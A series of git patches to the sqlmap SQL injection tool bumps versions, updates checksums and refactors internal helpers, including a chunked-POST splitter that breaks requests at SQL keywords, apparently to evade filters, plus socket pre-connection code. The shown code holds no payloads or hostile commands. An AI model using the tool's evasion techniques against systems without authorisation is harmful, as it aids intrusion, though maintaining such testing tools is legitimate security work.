b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -caa0515c5049d238333dcc50b7fda28b7d0573ca36e0e8877e0ffc091cdf9d26 lib/core/common.py +28c5189446a642c8ee0a887b150b96ca9a05ad32e57240e1e5195e8217dfa388 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -95f31c753e2dd1f1a88eea5b468b738d4000fb3cd2eda12141592bf0b3211741 lib/core/settings.py +94f6f12a431c34d4cfa821dc966c59f0f04f34d1f8d701eeb2102464ba8a7e03 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index fbf351efe86..7479fdbd6a9 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5562,6 +5562,7 @@ def removePostHintPrefix(value): return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) + def chunkSplitPostData(data): """ Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) @@ -5572,7 +5573,7 @@ def chunkSplitPostData(data): """ length = len(data) - retVal = "" + retVal = [] index = 0 while index < length: @@ -5592,12 +5593,14 @@ def chunkSplitPostData(data): break index += chunkSize - retVal += "%x;%s\r\n" % (chunkSize, salt) - retVal += "%s\r\n" % candidate - retVal += "0\r\n\r\n" + # Append to list instead of recreating the string + retVal.append("%x;%s\r\n" % (chunkSize, salt)) + retVal.append("%s\r\n" % candidate) - return retVal + retVal.append("0\r\n\r\n") + + return "".join(retVal) def checkSums(): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index ee1629cbc58..3e88cb93a35 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.66" +VERSION = "1.10.1.67" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cd6e2f1c8a7c9b579e11c64d2c5a10119942f2c9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 18:53:00 +0100 Subject: [PATCH 070/135] Minor optimization of randomizeParameterValue --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 40 +++++++++++++++++++--------------------- lib/core/settings.py | 2 +- 3 files changed, 22 insertions(+), 24 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5ee9f8c5da1..47ca2998e49 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -28c5189446a642c8ee0a887b150b96ca9a05ad32e57240e1e5195e8217dfa388 lib/core/common.py +f7ae9ac5ab4abb7e0a485a7fdebcf3588b64e8f0662e14b569015429535e3116 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -94f6f12a431c34d4cfa821dc966c59f0f04f34d1f8d701eeb2102464ba8a7e03 lib/core/settings.py +5c00a2972dd47b9ffadf18d85914ad2a26eb137303003efe9e7dbf833620654e lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 7479fdbd6a9..db6e7beb10f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4512,34 +4512,32 @@ def randomizeParameterValue(value): retVal = value - value = re.sub(r"%[0-9a-fA-F]{2}", "", value) + retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal) - for match in re.finditer(r"[A-Z]+", value): + def _replace_upper(match): + original = match.group() while True: - original = match.group() - candidate = randomStr(len(match.group())).upper() - if original != candidate: - break - - retVal = retVal.replace(original, candidate) + candidate = randomStr(len(original)).upper() + if candidate != original: + return candidate - for match in re.finditer(r"[a-z]+", value): + def _replace_lower(match): + original = match.group() while True: - original = match.group() - candidate = randomStr(len(match.group())).lower() - if original != candidate: - break + candidate = randomStr(len(original)).lower() + if candidate != original: + return candidate - retVal = retVal.replace(original, candidate) - - for match in re.finditer(r"[0-9]+", value): + def _replace_digit(match): + original = match.group() while True: - original = match.group() - candidate = str(randomInt(len(match.group()))) - if original != candidate: - break + candidate = str(randomInt(len(original))) + if candidate != original: + return candidate - retVal = retVal.replace(original, candidate, 1) + retVal = re.sub(r"[A-Z]+", _replace_upper, retVal) + retVal = re.sub(r"[a-z]+", _replace_lower, retVal) + retVal = re.sub(r"[0-9]+", _replace_digit, retVal) if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): parts = retVal.split('.') diff --git a/lib/core/settings.py b/lib/core/settings.py index 3e88cb93a35..641fb698a69 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.67" +VERSION = "1.10.1.68" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0ce9d4aeb7552e2f4151e634c1715a1c45379521 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 18:56:12 +0100 Subject: [PATCH 071/135] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 8 ++++++++ lib/core/settings.py | 2 +- 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 47ca2998e49..e03f5f078b6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -f7ae9ac5ab4abb7e0a485a7fdebcf3588b64e8f0662e14b569015429535e3116 lib/core/common.py +f7b898987c09816567dc3e2b227182f00499636ce7f1b4a11bd222fbf0d496bd lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5c00a2972dd47b9ffadf18d85914ad2a26eb137303003efe9e7dbf833620654e lib/core/settings.py +57f206c2043ca407a84057be32d5536d5465302e3bb2f88edcc6a75bfcf57890 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index db6e7beb10f..4b8736fa83b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1477,10 +1477,18 @@ def cleanQuery(query): """ retVal = query + queryLower = query.lower() for sqlStatements in SQL_STATEMENTS.values(): for sqlStatement in sqlStatements: candidate = sqlStatement.replace("(", "").replace(")", "").strip() + + # OPTIMIZATION: Skip expensive regex compilation/search if the keyword + # isn't even present in the string. This makes the function O(K) instead of O(N*K) + # for the expensive regex part (where K is num keywords). + if not candidate or candidate.lower() not in queryLower: + continue + queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query) if queryMatch and "sys_exec" not in query: diff --git a/lib/core/settings.py b/lib/core/settings.py index 641fb698a69..9e147202f8d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.68" +VERSION = "1.10.1.69" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fcd3eae668d447709297c77f3325723d9846ec75 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 19:01:07 +0100 Subject: [PATCH 072/135] Fixing checkSameHost to work with IPv6 addresses --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 12 +++++++++++- lib/core/settings.py | 2 +- 3 files changed, 14 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e03f5f078b6..297619ad2ac 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -f7b898987c09816567dc3e2b227182f00499636ce7f1b4a11bd222fbf0d496bd lib/core/common.py +2f5b67f421d345c16c4936f4b8d96da1030af5885f331ec98f65a81f291209ed lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -57f206c2043ca407a84057be32d5536d5465302e3bb2f88edcc6a75bfcf57890 lib/core/settings.py +11272d3710a0faf6283efc91094749e6de39f28a91317fe31f505260ecb008df lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 4b8736fa83b..a500d23aea9 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4811,7 +4811,17 @@ def _(value): value = "http://%s" % value return value - return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:]) + first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or "" + first = re.sub(r"(?i)\Awww\.", "", first) + + for url in urls[1:]: + current = _urllib.parse.urlparse(_(url) or "").hostname or "" + current = re.sub(r"(?i)\Awww\.", "", current) + + if current != first: + return False + + return True def getHostHeader(url): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 9e147202f8d..37ac24717d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.69" +VERSION = "1.10.1.70" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b54929af286fa00eddeb3e5cbc72824242e3e0b4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 19:07:19 +0100 Subject: [PATCH 073/135] Minor optimization of prioritySortColumns --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 8 +++++--- lib/core/settings.py | 2 +- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 297619ad2ac..521e8681c87 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -2f5b67f421d345c16c4936f4b8d96da1030af5885f331ec98f65a81f291209ed lib/core/common.py +99906feaa3963ff0073ed92ed159aa9b85008ae32e38cfdc2e718a6acfa58c1d lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -11272d3710a0faf6283efc91094749e6de39f28a91317fe31f505260ecb008df lib/core/settings.py +47a031ccc9367c75e30000b22225a9fc9a8c861f274f45e2546fca38209449e6 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index a500d23aea9..a6d08854fbd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5176,10 +5176,12 @@ def prioritySortColumns(columns): ['id', 'userid', 'name', 'password'] """ - def _(column): - return column and re.search(r"^id|id$", column, re.I) is not None + recompile = re.compile(r"^id|id$", re.I) - return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)) + return sorted(columns, key=lambda col: ( + not (col and recompile.search(col)), + len(col) + )) def getRequestHeader(request, name): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 37ac24717d3..89f77c5ae88 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.70" +VERSION = "1.10.1.71" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ebfc48175534e9e1660a22c4b8a3e6160b48daa9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 19:08:11 +0100 Subject: [PATCH 074/135] Removing some dummy blanks --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/snowflake/fingerprint.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 521e8681c87..5a33d29c51f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -47a031ccc9367c75e30000b22225a9fc9a8c861f274f45e2546fca38209449e6 lib/core/settings.py +2fcd2dddb4705e168e8fb3a8092f75a01f32118bd07316fc010a83c4eaf91ed1 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -435,7 +435,7 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py 99f7a319652f7a46f724cfced5555bbaade28e64c90f80b5f0b3cfbbb29a958a plugins/dbms/snowflake/enumeration.py 3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py -7e0f66272bd3725e1f4e9cc5458d6081603c41989da8065c474dd4bb127bcd8c plugins/dbms/snowflake/fingerprint.py +99c62be4ca44f5b059c87516c63919542a087e599895ec6f9bcb1a272df31a61 plugins/dbms/snowflake/fingerprint.py 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py 859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/snowflake/syntax.py da43fed8bfa4a94aaceb63e760c69e9927c1640e45e457b8f03189be6604693f plugins/dbms/snowflake/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 89f77c5ae88..f5b7e4330f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.71" +VERSION = "1.10.1.72" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py index 6767c2619a4..512e7427e4c 100644 --- a/plugins/dbms/snowflake/fingerprint.py +++ b/plugins/dbms/snowflake/fingerprint.py @@ -83,11 +83,11 @@ def checkDbms(self): warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE logger.warning(warnMsg) return False - + setDbms(DBMS.SNOWFLAKE) self.getBanner() return True - + else: warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE logger.warning(warnMsg) From cb36ff7f2227bf2c3c4e1b64dc1e867df8625e35 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 19:41:37 +0100 Subject: [PATCH 075/135] Minor optimization of _setSocketPreConnect --- data/txt/sha256sums.txt | 4 +-- lib/core/option.py | 57 +++++++++++++++++++++++++++++++---------- lib/core/settings.py | 2 +- 3 files changed, 47 insertions(+), 16 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5a33d29c51f..32bd67cdaa7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,14 +181,14 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py -86070b96d28df6caa55e56f8fb16ba162524cab92a2d70eb110ae30f25099866 lib/core/option.py +c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/option.py 8171f6ee33e7742f06bb3014a28324496374beddee7b378ace10a26414a97762 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2fcd2dddb4705e168e8fb3a8092f75a01f32118bd07316fc010a83c4eaf91ed1 lib/core/settings.py +e2e711274bf226e785203353f9dd205e8fd3b9b11f9470513df38178edf288b6 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 967163fcd4b..75981997f80 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -8,6 +8,7 @@ from __future__ import division import codecs +import collections import functools import glob import inspect @@ -1057,11 +1058,31 @@ def _setSocketPreConnect(): def _thread(): while kb.get("threadContinue") and not conf.get("disablePrecon"): try: - for key in socket._ready: - if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE: - s = socket.create_connection(*key[0], **dict(key[1])) - with kb.locks.socket: - socket._ready[key].append((s, time.time())) + with kb.locks.socket: + keys = list(socket._ready.keys()) + + for key in keys: + with kb.locks.socket: + q = socket._ready.get(key) + if q is None or len(q) >= SOCKET_PRE_CONNECT_QUEUE_SIZE: + continue + args = key[0] + kwargs = dict(key[1]) + + s = socket._create_connection(*args, **kwargs) + + with kb.locks.socket: + q = socket._ready.get(key) + if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE: + q.append((s, time.time())) + s = None + + if s is not None: + try: + s.close() + except: + pass + except KeyboardInterrupt: break except: @@ -1071,26 +1092,36 @@ def _thread(): def create_connection(*args, **kwargs): retVal = None + stale = [] key = (tuple(args), frozenset(kwargs.items())) with kb.locks.socket: if key not in socket._ready: - socket._ready[key] = [] + socket._ready[key] = collections.deque() - while len(socket._ready[key]) > 0: - candidate, created = socket._ready[key].pop(0) + q = socket._ready[key] + while len(q) > 0: + candidate, created = q.popleft() if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT: retVal = candidate break else: - try: - candidate.shutdown(socket.SHUT_RDWR) - candidate.close() - except socket.error: - pass + stale.append(candidate) + + for candidate in stale: + try: + candidate.shutdown(socket.SHUT_RDWR) + candidate.close() + except: + pass if not retVal: retVal = socket._create_connection(*args, **kwargs) + else: + try: + retVal.settimeout(kwargs.get("timeout", socket.getdefaulttimeout())) + except: + pass return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index f5b7e4330f4..3545214636b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.72" +VERSION = "1.10.1.73" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 776799911667ca79ebd1cf518a19400338ffe3fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 19:52:30 +0100 Subject: [PATCH 076/135] Minor improvement --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/threads.py | 14 ++++++++------ 3 files changed, 11 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 32bd67cdaa7..b8374cf046b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,12 +188,12 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -e2e711274bf226e785203353f9dd205e8fd3b9b11f9470513df38178edf288b6 lib/core/settings.py +cacbf90118ef472f154474891da53f6fd2641c98421902134ba1706f9bc1c716 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836 lib/core/testing.py -cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py +2ac067fd7a8d6fedbc75f0ac2e5ee1533c63009bf257e88fdd71d8d71d4c8e5a lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 